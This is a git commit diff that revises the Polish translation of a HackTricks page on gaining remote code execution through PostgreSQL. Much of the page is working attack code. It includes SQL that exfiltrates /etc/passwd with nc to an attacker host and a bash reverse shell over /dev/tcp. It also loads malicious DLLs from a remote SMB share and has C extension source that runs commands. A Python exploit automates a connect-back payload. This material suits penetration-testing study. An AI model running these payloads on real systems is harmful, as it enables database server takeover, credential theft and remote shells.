mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-21 08:28:27 +00:00
Translated ['pentesting-web/sql-injection/postgresql-injection/rce-with-
This commit is contained in:
parent
1093838ceb
commit
13bb46fb41
1 changed files with 32 additions and 33 deletions
|
@ -2,30 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Rozszerzenia PostgreSQL
|
||||
|
||||
PostgreSQL został opracowany z myślą o rozszerzalności jako podstawowej funkcji, co pozwala na bezproblemowe integrowanie rozszerzeń tak, jakby były wbudowanymi funkcjonalnościami. Te rozszerzenia, będące bibliotekami napisanymi w języku C, wzbogacają bazę danych o dodatkowe funkcje, operatory lub typy.
|
||||
PostgreSQL został opracowany z myślą o rozszerzalności jako funkcji podstawowej, co pozwala mu na płynne integrowanie rozszerzeń, jak gdyby były one wbudowanymi funkcjonalnościami. Te rozszerzenia, w zasadzie biblioteki napisane w języku C, wzbogacają bazę danych o dodatkowe funkcje, operatory lub typy.
|
||||
|
||||
Od wersji 8.1 na rozszerzenia narzucone jest określone wymaganie: muszą być skompilowane z specjalnym nagłówkiem. Bez tego PostgreSQL nie będzie ich wykonywał, zapewniając tym samym użycie tylko zgodnych i potencjalnie bezpiecznych rozszerzeń.
|
||||
Od wersji 8.1 wymagane jest spełnienie określonego warunku dotyczącego bibliotek rozszerzeń: muszą być skompilowane z specjalnym nagłówkiem. Bez tego PostgreSQL nie będzie ich wykonywał, zapewniając użycie tylko zgodnych i potencjalnie bezpiecznych rozszerzeń.
|
||||
|
||||
Pamiętaj również, że **jeśli nie wiesz, jak** [**przesyłać pliki do ofiary, wykorzystując podatność PostgreSQL, powinieneś przeczytać ten post.**](big-binary-files-upload-postgresql.md)
|
||||
Pamiętaj również, że **jeśli nie wiesz, jak** [**przesłać pliki do ofiary, wykorzystując PostgreSQL, powinieneś przeczytać ten post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE w systemie Linux
|
||||
|
||||
**Aby uzyskać więcej informacji, sprawdź: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
|
||||
Wykonanie poleceń systemowych z PostgreSQL w wersjach 8.1 i wcześniejszych jest procesem, który został jasno udokumentowany i jest prosty. Można to zrobić za pomocą tego: [modułu Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Wykonanie poleceń systemowych z PostgreSQL 8.1 i wcześniejszych wersji jest procesem jasno udokumentowanym i prostym. Możliwe jest użycie tego: [moduł Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
|
@ -39,7 +38,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
|||
|
||||
<summary>Zapisz plik binarny z base64</summary>
|
||||
|
||||
Aby zapisać plik binarny do pliku w postgresie, możesz potrzebować użycia base64, oto pomocne informacje na ten temat:
|
||||
Aby zapisać plik binarny do pliku w postgresie, możesz potrzebować użycia base64, oto pomocne informacje w tej sprawie:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
|
@ -79,20 +78,20 @@ $$ LANGUAGE 'plpgsql';
|
|||
```
|
||||
</details>
|
||||
|
||||
Jednakże, przy próbie wykonania na wyższych wersjach **wyświetlony został następujący błąd**:
|
||||
Jednakże, gdy próbowano na wyższych wersjach **wyświetlony został następujący błąd**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Ten błąd jest wyjaśniony w [dokumentacji PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Aby upewnić się, że plik obiektowy ładowany dynamicznie nie jest ładowany do niezgodnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” o odpowiedniej zawartości. Pozwala to serwerowi wykryć oczywiste niezgodności, takie jak kod skompilowany dla innej głównej wersji PostgreSQL. Magiczny blok jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, należy to napisać w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
|
||||
> Aby upewnić się, że plik obiektu ładowanego dynamicznie nie jest ładowany do niezgodnego serwera, PostgreSQL sprawdza, czy plik zawiera „blok magiczny” z odpowiednimi treściami. Pozwala to serwerowi wykryć oczywiste niezgodności, takie jak kod skompilowany dla innej głównej wersji PostgreSQL. Blok magiczny jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć blok magiczny, należy napisać to w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Od wersji PostgreSQL 8.2 proces wykorzystania systemu przez atakującego został utrudniony. Atakujący musi albo użyć biblioteki, która już jest obecna w systemie, albo przesłać niestandardową bibliotekę. Ta niestandardowa biblioteka musi być skompilowana zgodnie z główną wersją PostgreSQL i musi zawierać określony „magiczny blok”. Ta środek znacznie zwiększa trudność wykorzystania systemów PostgreSQL, ponieważ wymaga głębszego zrozumienia architektury systemu i zgodności wersji.
|
||||
Od wersji PostgreSQL 8.2, proces wykorzystania systemu przez atakującego stał się bardziej wymagający. Atakujący musi albo wykorzystać bibliotekę, która już istnieje w systemie, albo przesłać niestandardową bibliotekę. Ta niestandardowa biblioteka musi być skompilowana zgodnie z główną wersją PostgreSQL i musi zawierać określony „blok magiczny”. Ta środek znacząco zwiększa trudność wykorzystania systemów PostgreSQL, ponieważ wymaga głębszego zrozumienia architektury systemu i zgodności wersji.
|
||||
|
||||
#### Skompiluj bibliotekę
|
||||
|
||||
|
@ -101,10 +100,10 @@ Pobierz wersję PostgreSQL za pomocą:
|
|||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Aby zapewnić kompatybilność, konieczne jest dopasowanie głównych wersji. Dlatego kompilacja biblioteki z dowolną wersją z serii 9.6.x powinna zagwarantować pomyślne zintegrowanie.
|
||||
Aby zapewnić kompatybilność, konieczne jest dopasowanie głównych wersji. Dlatego skompilowanie biblioteki z dowolną wersją z serii 9.6.x powinno zapewnić pomyślne zintegrowanie.
|
||||
|
||||
|
||||
Aby zainstalować tę wersję na swoim systemie:
|
||||
Aby zainstalować tę wersję w swoim systemie:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
|
@ -131,13 +130,13 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
|||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
Możesz znaleźć tę **bibliotekę skompilowaną** dla różnych wersji PostgreSQL i nawet **zautomatyzować ten proces** (jeśli masz dostęp do PostgreSQL) za pomocą:
|
||||
Możesz znaleźć tę **bibliotekę skompilowaną z góry** dla kilku różnych wersji PostgreSQL, a nawet możesz **zautomatyzować ten proces** (jeśli masz dostęp do PostgreSQL) za pomocą:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
|
||||
### RCE w systemie Windows
|
||||
|
||||
Następująca biblioteka DLL przyjmuje jako dane wejściowe **nazwę pliku binarnego** i **liczbę** **razy**, jaką chcesz go wykonać, a następnie go wykonuje:
|
||||
Następna DLL przyjmuje jako dane wejściowe **nazwę pliku wykonywalnego** oraz **liczbę** **razy**, jaką chcesz go wykonać, i wykonuje go:
|
||||
```c
|
||||
#include "postgres.h"
|
||||
#include <string.h>
|
||||
|
@ -174,11 +173,11 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
|||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
Możesz znaleźć skompilowany plik DLL w tym archiwum:
|
||||
Możesz znaleźć DLL skompilowany w tym archiwum:
|
||||
|
||||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||||
|
||||
Możesz wskazać temu plikowi DLL **który plik binarny ma zostać wykonany** oraz ile razy ma być wykonany. W tym przykładzie zostanie wykonane `calc.exe` 2 razy:
|
||||
Możesz wskazać temu DLL **który plik binarny ma zostać wykonany** oraz liczbę razy, jaką ma zostać wykonany, w tym przykładzie zostanie wykonany `calc.exe` 2 razy:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
|
@ -266,32 +265,32 @@ Zauważ, że w tym przypadku **złośliwy kod znajduje się w funkcji DllMain**.
|
|||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
### RCE w najnowszych wersjach PostgreSQL
|
||||
### RCE w najnowszych wersjach Prostgres
|
||||
|
||||
W **najnowszych wersjach** PostgreSQL wprowadzono ograniczenia, które **zabraniają** użytkownikowi `superuser` **wczytywania** plików bibliotek współdzielonych z wyjątkiem określonych katalogów, takich jak `C:\Program Files\PostgreSQL\11\lib` w systemach Windows lub `/var/lib/postgresql/11/lib` w systemach \*nix. Te katalogi są **zabezpieczone** przed operacjami zapisu przez konta NETWORK\_SERVICE lub postgres.
|
||||
W **najnowszych wersjach** PostgreSQL nałożono ograniczenia, zgodnie z którymi `superuser` jest **zakazany** od **ładowania** plików bibliotek współdzielonych z wyjątkiem określonych katalogów, takich jak `C:\Program Files\PostgreSQL\11\lib` w systemach Windows lub `/var/lib/postgresql/11/lib` na systemach \*nix. Te katalogi są **zabezpieczone** przed operacjami zapisu przez konta NETWORK\_SERVICE lub postgres.
|
||||
|
||||
Mimo tych ograniczeń, zalogowany użytkownik bazy danych `superuser` może **zapisywać pliki binarne** na systemie plików za pomocą "dużych obiektów". Ta możliwość obejmuje zapisywanie w katalogu `C:\Program Files\PostgreSQL\11\data`, który jest niezbędny do operacji na bazie danych, takich jak aktualizacja lub tworzenie tabel.
|
||||
Mimo tych ograniczeń, zalogowany `superuser` bazy danych może **zapisywać pliki binarne** do systemu plików za pomocą "dużych obiektów". Ta zdolność obejmuje zapisywanie w obrębie katalogu `C:\Program Files\PostgreSQL\11\data`, co jest niezbędne do operacji na bazie danych, takich jak aktualizacja lub tworzenie tabel.
|
||||
|
||||
Poważna podatność wynika z polecenia `CREATE FUNCTION`, które **umożliwia nawigację po katalogach** w katalogu danych. W rezultacie zalogowany atakujący może **wykorzystać tę nawigację** do zapisania pliku biblioteki współdzielonej w katalogu danych, a następnie go **wczytać**. Ten atak umożliwia wykonanie dowolnego kodu, osiągając wykonanie kodu natywnego na systemie.
|
||||
Znacząca podatność wynika z polecenia `CREATE FUNCTION`, które **umożliwia nawigację po katalogach** w katalogu danych. W rezultacie zalogowany atakujący mógłby **wykorzystać tę nawigację** do zapisania pliku biblioteki współdzielonej w katalogu danych, a następnie **załadować go**. To wykorzystanie pozwala atakującemu na wykonanie arbitralnego kodu, osiągając wykonanie kodu natywnego w systemie.
|
||||
|
||||
#### Przebieg ataku
|
||||
#### Przepływ ataku
|
||||
|
||||
Przede wszystkim musisz **użyć dużych obiektów do przesłania pliku DLL**. Możesz zobaczyć, jak to zrobić tutaj:
|
||||
Po pierwsze musisz **użyć dużych obiektów do przesłania pliku dll**. Możesz zobaczyć, jak to zrobić tutaj:
|
||||
|
||||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Po przesłaniu rozszerzenia (o nazwie poc.dll w tym przykładzie) do katalogu danych, możesz je wczytać za pomocą:
|
||||
Gdy już przesłano rozszerzenie (o nazwie poc.dll w tym przykładzie) do katalogu danych, możesz je załadować za pomocą:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Należy zauważyć, że nie trzeba dodawać rozszerzenia `.dll`, ponieważ funkcja create je automatycznie dodaje._
|
||||
_Notuj, że nie musisz dodawać rozszerzenia `.dll`, ponieważ funkcja create doda je automatycznie._
|
||||
|
||||
Aby uzyskać więcej informacji, **przeczytaj** [**oryginalną publikację tutaj**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
W tej publikacji **ten kod został użyty do wygenerowania rozszerzenia postgres** [**tutaj**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj jedną z poprzednich wersji_).\
|
||||
Na tej samej stronie podano **exploit do automatyzacji** tej techniki:
|
||||
Więcej informacji **znajdziesz w** [**oryginalnej publikacji tutaj**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
W tej publikacji **ten kod został użyty do wygenerowania rozszerzenia postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj którąkolwiek z poprzednich wersji_).\
|
||||
Na tej samej stronie podano **exploit automatyzujący** tę technikę:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
@ -329,19 +328,19 @@ print("(+) for a db cleanup only, run the following sql:")
|
|||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||
print(" drop function connect_back(text, integer);")
|
||||
```
|
||||
## Odwołania
|
||||
## Odnośniki
|
||||
|
||||
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue